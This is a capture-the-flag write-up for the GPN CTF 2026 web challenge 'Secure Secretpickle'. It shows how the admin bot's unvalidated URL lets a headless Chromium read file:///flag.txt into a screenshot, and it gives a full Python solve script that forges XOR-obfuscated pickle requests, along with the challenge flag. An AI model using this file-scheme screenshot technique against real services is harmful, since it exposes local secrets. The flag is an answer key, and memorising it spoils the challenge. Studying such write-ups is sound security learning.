Challenge: Secure Secretpickle · CTF: GPN CTF 2026 · Category: Web · Difficulty: Medium

Summary

The hardened sibling of secretpickle: the server now pickle.loads() attacker data inside a write-only seccomp sandbox, killing both server RCE and the handler-hook trick. But the adminbot action lets you choose the URL the headless Chromium visits with no scheme check, and it returns a full-page screenshot — so file:///flag.txt renders the flag straight into the image.

Solution

Step 1: Why the easy path is dead

secretpickle.py is unchanged: requests are pickle blobs obfuscated by a hardcoded prefix + XOR key, posted to POST /{b64}. The only diff from the easy version is the server now decodes with a sandboxed loader:

1
pl = secretpickle_load(b64, decoder=safe_pickle_load)   # server.py

safe_loader.py runs pickle.loads in a subprocess under seccomp with only write allowed, default KILL. A forged os.system pickle still returns HTTP 200, but the reduce is SIGSYS-killed, so you just get an error dict back. The subprocess can’t read the flag or RCE the parent (its only output is JSON on stdout), so the easy solve (RCE → monkeypatch action_handler → log the adminbot’s plaintext login) is gone. DOMPurify is 3.4.7 (default config, no usable bypass), so client-side XSS is out too.

Step 2: Abuse the adminbot as a file-read primitive

The flag is the adminbot’s admin password (/flag.txt). adminbot.py runs Chromium with --no-sandbox as the same user that reads /flag.txt, and the adminbot action hands our URL straight to page.goto() with no validation, then returns the screenshot:

1
2
3
4
5
if action == "adminbot":
    url = base64.b64decode(params["url"]).decode()   # fully attacker-controlled, any scheme
    ...
    screenshot = await visit(url)                     # page.goto(url) + full_page screenshot
    return ok(f"...<img src='data:image/png;base64,{b64(screenshot)}'>")

Point it at file:///flag.txt and read the flag out of the returned PNG:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#!/usr/bin/env python3
import base64, pickle, json, re, sys, urllib.request

BASE = sys.argv[1] if len(sys.argv) > 1 else "https://<instance>.gpn24.ctf.kitctf.de"

# secretpickle internals (public prefix + hardcoded XOR key)
PREFIX = bytes.fromhex("8004" "950000000000000000" "7d" "94" "28")
KEY    = bytes.fromhex("77c07f8fd2ae7ad9f5aabc008c79d0d3")
xor     = lambda d: bytes(b ^ KEY[i % len(KEY)] for i, b in enumerate(d))
sp_dump = lambda o: base64.b64encode(xor(pickle.dumps(o)[len(PREFIX):])).decode()
sp_load = lambda e: pickle.loads(PREFIX + xor(base64.b64decode(e)))

def call(payload):
    enc = sp_dump(payload)                             # send raw base64 in the path, like the client
    req = urllib.request.Request(f"{BASE}/{enc}", method="POST", data=b"")
    with urllib.request.urlopen(req, timeout=180) as r:
        return sp_load(json.loads(r.read()))

res  = call({"action": "adminbot",
             "params": {"url": base64.b64encode(b"file:///flag.txt").decode()}})
m    = re.search(r"data:image/png;base64,([A-Za-z0-9+/=]+)", res.get("result", ""))
open("flag.png", "wb").write(base64.b64decode(m.group(1)))
print("saved flag.png — open it to read the flag")

The bot may need a warm start (first call can return adminbot failed: Remote end closed connection); just retry. The flag appears as monospace text in flag.png.

Flag

1
GPNCTF{THE_p1ck13r__pickL3_me_thI5}